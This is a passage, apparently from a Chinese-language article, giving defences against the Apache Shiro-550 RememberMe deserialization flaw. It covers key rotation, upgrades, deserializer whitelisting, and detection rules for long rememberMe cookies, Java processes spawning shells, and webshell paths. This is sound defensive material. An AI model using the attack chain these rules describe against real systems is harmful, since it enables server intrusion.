针对开发与运维的加固措施立即升级Shiro版本升级到最新版本至少1.7.0以上新版Shiro在安全机制上有多处增强。必须更换默认密钥这是最重要、最直接的一步。在Shiro配置文件中通常是shiro.ini或Spring配置中的ShiroFilter显式地配置一个强随机密钥。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey base64:${your_strong_random_base64_key_here}生成强密钥的命令openssl rand -base64 32禁用RememberMe功能如果业务不需要“记住我”功能直接在配置中禁用它。使用安全的反序列化器考虑使用白名单机制的反序列化工具如SerialKiller、Jackson的JsonTypeInfo注解配合多态类型处理或者直接使用JSON等更安全的序列化格式替代Java原生序列化。最小化依赖定期清理项目依赖移除不必要的库特别是那些已知存在反序列化Gadget的库如旧版本的commons-collections, commons-beanutils等。5.2 安全监控与应急响应日志监控在应用日志中监控异常的反序列化错误堆栈。Shiro在解密或反序列化失败时会记录日志。大量、频繁的DecryptionException或SerializationException可能是爆破攻击的迹象。流量监控在WAF或网关层面设置规则检测对/根路径或登录接口的、携带超长rememberMeCookie的请求并告警。主机监控使用HIDS监控Java进程突然创建陌生子进程如bash、cmd、powershell的行为。应急排查检查密钥检查线上配置文件中的Shiro密钥是否为默认或弱密钥。排查内存马使用Java Agent技术或Arthas等诊断工具动态检查已加载的类特别是Filter、Servlet、Controller中是否存在可疑的、名称异常的类。也可以重启应用服务器内存马会随之消失但这只是临时措施。检查后门文件排查Web目录下是否有新增的、可疑的.jsp、.jspx、.war文件。分析访问日志寻找访问路径异常如突然访问一个不存在的/shell、/cmd路径或User-Agent异常的请求。Shiro-550漏洞的持久存在是默认安全配置、密钥管理难题和低利用成本共同作用的结果。对于攻击者它是一个经典的入口点对于防御者它是一个必须堵上的缺口。理解整个利用链条的每一个环节从默认密钥到Gadget链从命令执行到内存马才能真正做到有效防护。安全是一个持续的过程没有一劳永逸的解决方案保持组件的更新、遵循安全开发规范、建立有效的监控响应体系才是应对此类漏洞的根本之道。